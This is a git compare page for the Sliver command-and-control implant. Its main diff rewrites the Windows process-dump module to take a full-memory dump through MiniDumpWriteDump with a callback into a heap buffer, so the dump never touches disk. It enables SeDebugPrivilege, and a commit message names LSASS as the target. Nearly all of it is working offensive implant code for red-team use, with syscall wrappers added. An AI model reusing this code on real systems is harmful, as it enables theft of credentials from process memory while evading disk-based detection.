Compare commits

..
Author SHA1 Message Date
rkervella a51d93cf58 Merge branch 'master' into procdump-memory 2021-08-04 12:14:22 +02:00
rkervella 44abb0e03b Switch to in memory process dump on windows 2021-08-04 12:00:01 +02:00
Ronan Kervella 7ef4923fc0 Merge pull request #490 from iiiusky/fix/portfwdBug
fix: Remove default from select, which will cause the cpu to spike
Overriding commit signing for this one, it's a one line change with no security impact.
2021-08-03 11:50:18 +02:00
sky 3f83761a90 fix: Remove default from select, which will cause the cpu to spike 2021-08-03 16:11:36 +08:00
Ronan Kervella 94eb13610b Merge pull request #485 from BishopFox/registry
Add registry list-subkeys and list-values sub commands
2021-07-29 11:37:29 +02:00
rkervella 85265d663f WIP, doesn't work with LSASS 2021-07-23 13:45:13 +02:00
5 changed files with 312 additions and 27 deletions

No files matched your search

-2
View File
@@ -103,8 +103,6 @@ func (tun *Tunnel) Read(data []byte) (int, error) {
case data := <-tun.Recv:
log.Printf("Read %d bytes", len(data))
buff.Write(data)
default:
break
}
n := copy(data, buff.Bytes())
return n, nil
+213 -25
View File
@@ -20,8 +20,6 @@ package procdump
import (
"fmt"
"io/ioutil"
//{{if .Config.Debug}}
"log"
//{{end}}
@@ -31,17 +29,56 @@ import (
"github.com/bishopfox/sliver/implant/sliver/evasion"
// {{end}}
// {{end}}
"os"
"bytes"
"encoding/binary"
"github.com/bishopfox/sliver/implant/sliver/priv"
"github.com/bishopfox/sliver/implant/sliver/syscalls"
"golang.org/x/sys/windows"
"unsafe"
)
const (
ModuleCallback = iota
ThreadCallback
ThreadExCallback
IncludeThreadCallback
IncludeModuleCallback
MemoryCallback
CancelCallback
WriteKernelMinidumpCallback
KernelMinidumpStatusCallback
RemoveMemoryCallback
IncludeVmRegionCallback
IoStartCallback
IoWriteAllCallback
IoFinishCallback
ReadMemoryFailureCallback
SecondaryFlagsCallback
IsProcessSnapshotCallback
VmStartCallback
VmQueryCallback
VmPreReadCallback
VmPostReadCallback
S_FALSE = 1
S_OK = 0
TRUE = 1
FALSE = 0
IncrementSize = 5 * 1024 * 1024
MiniDumpWithFullMemory = 0x00000002
)
var bytesRead uint32 = 0
type WindowsDump struct {
data []byte
}
type outDump struct {
outPtr uintptr
}
func (d *WindowsDump) Data() []byte {
return d.data
}
@@ -50,7 +87,7 @@ func dumpProcess(pid int32) (ProcessDump, error) {
var lpTargetHandle windows.Handle
res := &WindowsDump{}
if err := priv.SePrivEnable("SeDebugPrivilege"); err != nil {
return res, fmt.Errorf("Could not set SeDebugPrivilege on", pid)
return res, err
}
hProc, err := windows.OpenProcess(syscalls.PROCESS_DUP_HANDLE, false, uint32(pid))
@@ -68,9 +105,7 @@ func dumpProcess(pid int32) (ProcessDump, error) {
// {{end}}
return res, err
}
if err != nil {
return res, err
}
if hProc != 0 {
return minidump(uint32(pid), lpTargetHandle)
}
@@ -91,35 +126,188 @@ func minidump(pid uint32, proc windows.Handle) (ProcessDump, error) {
}
// {{end}}
// {{end}}
// TODO: find a better place to store the dump file
f, err := ioutil.TempFile("", "")
heapHandle, err := syscalls.GetProcessHeap()
if err != nil {
//{{if .Config.Debug}}
log.Println("Failed to create temp file:", err)
//{{end}}
return dump, err
}
procMemCounters := syscalls.ProcessMemoryCounters{}
sizeOfMemCounters := uint32(unsafe.Sizeof(procMemCounters))
err = syscalls.GetProcessMemoryInfo(proc, &procMemCounters, sizeOfMemCounters)
if err != nil {
// {{if .Config.Debug}}
log.Printf("GetProcessMemoryInfo failed: %s\n", err)
// {{end}}
return dump, err
}
heapSize := procMemCounters.WorkingSetSize + IncrementSize
dumpBuffer, err := syscalls.HeapAlloc(heapHandle, 0x00000008, uintptr(heapSize))
if err != nil {
return dump, err
}
stdOutHandle := f.Fd()
err = syscalls.MiniDumpWriteDump(proc, pid, stdOutHandle, 3, 0, 0, 0)
if err == nil {
data, err := ioutil.ReadFile(f.Name())
dump.data = data
if err != nil {
//{{if .Config.Debug}}
log.Println("ReadFile failed:", err)
//{{end}}
return dump, err
}
os.Remove(f.Name())
} else {
outData := outDump{
outPtr: dumpBuffer,
}
callbackInfo := MiniDumpCallbackInformation{
CallbackRoutine: windows.NewCallback(minidumpCallback),
CallbackParam: uintptr(unsafe.Pointer(&outData)),
}
err = syscalls.MiniDumpWriteDump(
proc,
pid,
0,
MiniDumpWithFullMemory,
0,
0,
uintptr(unsafe.Pointer(&callbackInfo)),
)
if err != nil {
//{{if .Config.Debug}}
log.Println("Minidump syscall failed:", err)
//{{end}}
return dump, err
}
outBuff := make([]byte, bytesRead)
outBuffAddr := uintptr(unsafe.Pointer(&outBuff[0]))
syscalls.RtlCopyMemory(outBuffAddr, outData.outPtr, bytesRead)
err = syscalls.HeapFree(heapHandle, 0, outData.outPtr)
if err != nil {
// {{if .Config.Debug}}
log.Printf("HeapFree failed: \n", err)
// {{end}}
return dump, err
}
dump.data = outBuff
return dump, nil
}
type MiniDumpIOCallback struct {
Handle uintptr
Offset uint64
Buffer uintptr
BufferBytes uint32
}
type MiniDumpCallbackInput struct {
ProcessId uint32
ProcessHandle uintptr
CallbackType uint32
Io MiniDumpIOCallback
}
type MiniDumpCallbackOutput struct {
Status int32
}
type MiniDumpCallbackInformation struct {
CallbackRoutine uintptr
CallbackParam uintptr
}
func getCallbackInput(callbackInputPtr uintptr) (*MiniDumpCallbackInput, error) {
callbackInput := MiniDumpCallbackInput{}
ioCallback := MiniDumpIOCallback{}
bufferSize := unsafe.Sizeof(callbackInput)
data := make([]byte, bufferSize)
dataPtr := uintptr(unsafe.Pointer(&data[0]))
syscalls.RtlCopyMemory(dataPtr, callbackInputPtr, uint32(bufferSize))
buffReader := bytes.NewReader(data)
err := binary.Read(buffReader, binary.LittleEndian, &callbackInput.ProcessId)
if err != nil {
return nil, err
}
var procHandle uint64
err = binary.Read(buffReader, binary.LittleEndian, &procHandle)
if err != nil {
return nil, err
}
callbackInput.ProcessHandle = uintptr(procHandle)
err = binary.Read(buffReader, binary.LittleEndian, &callbackInput.CallbackType)
if err != nil {
return nil, err
}
var ioHandle uint64
err = binary.Read(buffReader, binary.LittleEndian, &ioHandle)
if err != nil {
return nil, err
}
ioCallback.Handle = uintptr(ioHandle)
err = binary.Read(buffReader, binary.LittleEndian, &ioCallback.Offset)
if err != nil {
return nil, err
}
var ioBuffer uint64
err = binary.Read(buffReader, binary.LittleEndian, &ioBuffer)
if err != nil {
return nil, err
}
ioCallback.Buffer = uintptr(ioBuffer)
err = binary.Read(buffReader, binary.LittleEndian, &ioCallback.BufferBytes)
if err != nil {
return nil, err
}
callbackInput.Io = ioCallback
return &callbackInput, nil
}
func minidumpCallback(callbackParam uintptr, callbackInputPtr uintptr, callbackOutput *MiniDumpCallbackOutput) uintptr {
callbackInput, err := getCallbackInput(callbackInputPtr)
if err != nil {
// {{if .Config.Debug}}
log.Printf("getCallbackInput failed: %s\n", err.Error())
// {{end}}
return FALSE
}
switch callbackInput.CallbackType {
case IoStartCallback:
callbackOutput.Status = S_FALSE
case IoWriteAllCallback:
callbackOutput.Status = S_OK
outData := (*outDump)(unsafe.Pointer(callbackParam))
procHeap, err := syscalls.GetProcessHeap()
if err != nil {
// {{if .Config.Debug}}
log.Printf("minidumpCallback GetProcessHeap failed: %s\n", err.Error())
// {{end}}
return FALSE
}
currentBuffSize, err := syscalls.HeapSize(procHeap, 0, outData.outPtr)
if err != nil {
// {{if .Config.Debug}}
log.Printf("minidumpCallback HeapSize failed: %s\n", err.Error())
// {{end}}
return FALSE
}
bytesAndOffset := callbackInput.Io.Offset + uint64(callbackInput.Io.BufferBytes)
if bytesAndOffset >= uint64(currentBuffSize) {
increasedSize := IncrementSize
if bytesAndOffset <= uint64(currentBuffSize*2) {
increasedSize = int(currentBuffSize) * 2
} else {
increasedSize += int(bytesAndOffset)
}
outData.outPtr, err = syscalls.HeapReAlloc(procHeap, 0, outData.outPtr, uintptr(increasedSize))
if err != nil {
// {{if .Config.Debug}}
log.Printf("minidumpCallback HeapReAlloc failed: %s\n", err.Error())
// {{end}}
return FALSE
}
}
destination := outData.outPtr + uintptr(callbackInput.Io.Offset)
syscalls.RtlCopyMemory(destination, callbackInput.Io.Buffer, callbackInput.Io.BufferBytes)
bytesRead += callbackInput.Io.BufferBytes
case IoFinishCallback:
callbackOutput.Status = S_OK
default:
return TRUE
}
return TRUE
}
@@ -5,6 +5,8 @@ package syscalls
//sys InitializeProcThreadAttributeList(lpAttributeList *PROC_THREAD_ATTRIBUTE_LIST, dwAttributeCount uint32, dwFlags uint32, lpSize *uintptr) (err error) = kernel32.InitializeProcThreadAttributeList
//sys GetProcessHeap() (procHeap windows.Handle, err error) = kernel32.GetProcessHeap
//sys HeapAlloc(hHeap windows.Handle, dwFlags uint32, dwBytes uintptr) (lpMem uintptr, err error) = kernel32.HeapAlloc
//sys HeapReAlloc(hHeap windows.Handle, dwFlags uint32, lpMem uintptr, dwBytes uintptr) (lpRes uintptr, err error) = kernel32.HeapReAlloc
//sys HeapSize(hHeap windows.Handle, dwFlags uint32, lpMem uintptr) (res uint32, err error) = kernel32.HeapSize
//sys UpdateProcThreadAttribute(lpAttributeList *PROC_THREAD_ATTRIBUTE_LIST, dwFlags uint32, attribute uintptr, lpValue *uintptr, cbSize uintptr, lpPreviousValue uintptr, lpReturnSize *uintptr) (err error) = kernel32.UpdateProcThreadAttribute
//sys CreateProcess(appName *uint16, commandLine *uint16, procSecurity *windows.SecurityAttributes, threadSecurity *windows.SecurityAttributes, inheritHandles bool, creationFlags uint32, env *uint16, currentDir *uint16, startupInfo *StartupInfoEx, outProcInfo *windows.ProcessInformation) (err error) = kernel32.CreateProcessW
//sys VirtualAllocEx(hProcess windows.Handle, lpAddress uintptr, dwSize uintptr, flAllocationType uint32, flProtect uint32) (addr uintptr, err error) = kernel32.VirtualAllocEx
@@ -35,5 +37,9 @@ package syscalls
//sys SelectObject(hdc windows.Handle, h windows.Handle) (HGDIOBJ windows.Handle, err error) = Gdi32.SelectObject
//sys BitBlt(hdc windows.Handle, x uint32, y uint32, cx uint32, cy uint32, hdcSrc windows.Handle, x1 uint32, y1 uint32, rop int32) (BOOL int, err error) = Gdi32.BitBlt
//sys GetDIBits(hdc windows.Handle, hbm windows.Handle, start uint32, cLines uint32, lpvBits uintptr, lpbmi uintptr, usage int) (ret int, err error) = Gdi32.GetDIBits
//sys PssCaptureSnapshot(processHandle windows.Handle, captureFlags uint32, threadContextFlags uint32, snapshotHandle *windows.Handle) (err error) = kernel32.PssCaptureSnapshot
//sys RtlCopyMemory(dest uintptr, src uintptr, dwSize uint32) = ntdll.RtlCopyMemory
//sys GetProcessMemoryInfo(process windows.Handle, ppsmemCounters *ProcessMemoryCounters, cb uint32) (err error) = psapi.GetProcessMemoryInfo
//sys LookupPrivilegeNameW(systemName string, luid *uint64, buffer *uint16, size *uint32) (err error) = advapi32.LookupPrivilegeNameW
//sys LookupPrivilegeDisplayNameW(systemName string, privilegeName *uint16, buffer *uint16, size *uint32, languageId *uint32) (err error) = advapi32.LookupPrivilegeDisplayNameW
+47
View File
@@ -5,6 +5,40 @@ import (
)
const (
PSS_CAPTURE_NONE = iota
PSS_CAPTURE_VA_CLONE
PSS_CAPTURE_RESERVED_00000002
PSS_CAPTURE_HANDLES
PSS_CAPTURE_HANDLE_NAME_INFORMATION
PSS_CAPTURE_HANDLE_BASIC_INFORMATION
PSS_CAPTURE_HANDLE_TYPE_SPECIFIC_INFORMATION
PSS_CAPTURE_HANDLE_TRACE
PSS_CAPTURE_THREADS
PSS_CAPTURE_THREAD_CONTEXT
PSS_CAPTURE_THREAD_CONTEXT_EXTENDED
PSS_CAPTURE_RESERVED_00000400
PSS_CAPTURE_VA_SPACE
PSS_CAPTURE_VA_SPACE_SECTION_INFORMATION
PSS_CAPTURE_IPT_TRACE
PSS_CAPTURE_RESERVED_00004000
PSS_CREATE_BREAKAWAY_OPTIONAL
PSS_CREATE_BREAKAWAY
PSS_CREATE_FORCE_BREAKAWAY
PSS_CREATE_USE_VM_ALLOCATIONS
PSS_CREATE_MEASURE_PERFORMANCE
PSS_CREATE_RELEASE_SECTION
CONTEXT_i386 = 0x10000
CONTEXT_i486 = 0x10000 // same as i386
CONTEXT_CONTROL = CONTEXT_i386 | 0x01 // SS:SP, CS:IP, FLAGS, BP
CONTEXT_INTEGER = CONTEXT_i386 | 0x02 // AX, BX, CX, DX, SI, DI
CONTEXT_SEGMENTS = CONTEXT_i386 | 0x0 // DS, ES, FS, GS
CONTEXT_FLOATING_POINT = CONTEXT_i386 | 0x08 // 387 state
CONTEXT_DEBUG_REGISTERS = CONTEXT_i386 | 0x10 // DB 0-3,6,7
CONTEXT_EXTENDED_REGISTERS = CONTEXT_i386 | 0x20 // cpu specific extensions
CONTEXT_FULL = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS
CONTEXT_ALL = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS | CONTEXT_FLOATING_POINT | CONTEXT_DEBUG_REGISTERS | CONTEXT_EXTENDED_REGISTERS
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000
LOGON32_LOGON_INTERACTIVE = 2
LOGON32_LOGON_NETWORK = 3
@@ -84,6 +118,19 @@ type MONITORINFO struct {
DwFlags uint32
}
type ProcessMemoryCounters struct {
Cb uint32
PageFaultCount uint32
PeakWorkingSetSize int
WorkingSetSize int
QuotaPeakPagedPoolUsage int
QuotaPagedPoolUsage int
QuotaPeakNonPagedPoolUsage int
QuotaNonPagedPoolUsage int
PagefileUsage int
PeakPagefileUsage int
}
const (
CCHDEVICENAME = 32
CCHFORMNAME = 32
@@ -44,6 +44,8 @@ var (
modUser32 = windows.NewLazySystemDLL("User32.dll")
modadvapi32 = windows.NewLazySystemDLL("advapi32.dll")
modkernel32 = windows.NewLazySystemDLL("kernel32.dll")
modntdll = windows.NewLazySystemDLL("ntdll.dll")
modpsapi = windows.NewLazySystemDLL("psapi.dll")
procMiniDumpWriteDump = modDbgHelp.NewProc("MiniDumpWriteDump")
procBitBlt = modGdi32.NewProc("BitBlt")
@@ -72,12 +74,17 @@ var (
procGetProcessHeap = modkernel32.NewProc("GetProcessHeap")
procHeapAlloc = modkernel32.NewProc("HeapAlloc")
procHeapFree = modkernel32.NewProc("HeapFree")
procHeapReAlloc = modkernel32.NewProc("HeapReAlloc")
procHeapSize = modkernel32.NewProc("HeapSize")
procInitializeProcThreadAttributeList = modkernel32.NewProc("InitializeProcThreadAttributeList")
procPssCaptureSnapshot = modkernel32.NewProc("PssCaptureSnapshot")
procQueueUserAPC = modkernel32.NewProc("QueueUserAPC")
procUpdateProcThreadAttribute = modkernel32.NewProc("UpdateProcThreadAttribute")
procVirtualAllocEx = modkernel32.NewProc("VirtualAllocEx")
procVirtualProtectEx = modkernel32.NewProc("VirtualProtectEx")
procWriteProcessMemory = modkernel32.NewProc("WriteProcessMemory")
procRtlCopyMemory = modntdll.NewProc("RtlCopyMemory")
procGetProcessMemoryInfo = modpsapi.NewProc("GetProcessMemoryInfo")
)
func MiniDumpWriteDump(hProcess windows.Handle, pid uint32, hFile uintptr, dumpType uint32, exceptionParam uintptr, userStreamParam uintptr, callbackParam uintptr) (err error) {
@@ -333,6 +340,24 @@ func HeapFree(hHeap windows.Handle, dwFlags uint32, lpMem uintptr) (err error) {
return
}
func HeapReAlloc(hHeap windows.Handle, dwFlags uint32, lpMem uintptr, dwBytes uintptr) (lpRes uintptr, err error) {
r0, _, e1 := syscall.Syscall6(procHeapReAlloc.Addr(), 4, uintptr(hHeap), uintptr(dwFlags), uintptr(lpMem), uintptr(dwBytes), 0, 0)
lpRes = uintptr(r0)
if lpRes == 0 {
err = errnoErr(e1)
}
return
}
func HeapSize(hHeap windows.Handle, dwFlags uint32, lpMem uintptr) (res uint32, err error) {
r0, _, e1 := syscall.Syscall(procHeapSize.Addr(), 3, uintptr(hHeap), uintptr(dwFlags), uintptr(lpMem))
res = uint32(r0)
if res == 0 {
err = errnoErr(e1)
}
return
}
func InitializeProcThreadAttributeList(lpAttributeList *PROC_THREAD_ATTRIBUTE_LIST, dwAttributeCount uint32, dwFlags uint32, lpSize *uintptr) (err error) {
r1, _, e1 := syscall.Syscall6(procInitializeProcThreadAttributeList.Addr(), 4, uintptr(unsafe.Pointer(lpAttributeList)), uintptr(dwAttributeCount), uintptr(dwFlags), uintptr(unsafe.Pointer(lpSize)), 0, 0)
if r1 == 0 {
@@ -341,6 +366,14 @@ func InitializeProcThreadAttributeList(lpAttributeList *PROC_THREAD_ATTRIBUTE_LI
return
}
func PssCaptureSnapshot(processHandle windows.Handle, captureFlags uint32, threadContextFlags uint32, snapshotHandle *windows.Handle) (err error) {
r1, _, e1 := syscall.Syscall6(procPssCaptureSnapshot.Addr(), 4, uintptr(processHandle), uintptr(captureFlags), uintptr(threadContextFlags), uintptr(unsafe.Pointer(snapshotHandle)), 0, 0)
if r1 == 0 {
err = errnoErr(e1)
}
return
}
func QueueUserAPC(pfnAPC uintptr, hThread windows.Handle, dwData uintptr) (err error) {
r1, _, e1 := syscall.Syscall(procQueueUserAPC.Addr(), 3, uintptr(pfnAPC), uintptr(hThread), uintptr(dwData))
if r1 == 0 {
@@ -381,3 +414,16 @@ func WriteProcessMemory(hProcess windows.Handle, lpBaseAddress uintptr, lpBuffer
}
return
}
func RtlCopyMemory(dest uintptr, src uintptr, dwSize uint32) {
syscall.Syscall(procRtlCopyMemory.Addr(), 3, uintptr(dest), uintptr(src), uintptr(dwSize))
return
}
func GetProcessMemoryInfo(process windows.Handle, ppsmemCounters *ProcessMemoryCounters, cb uint32) (err error) {
r1, _, e1 := syscall.Syscall(procGetProcessMemoryInfo.Addr(), 3, uintptr(process), uintptr(unsafe.Pointer(ppsmemCounters)), uintptr(cb))
if r1 == 0 {
err = errnoErr(e1)
}
return
}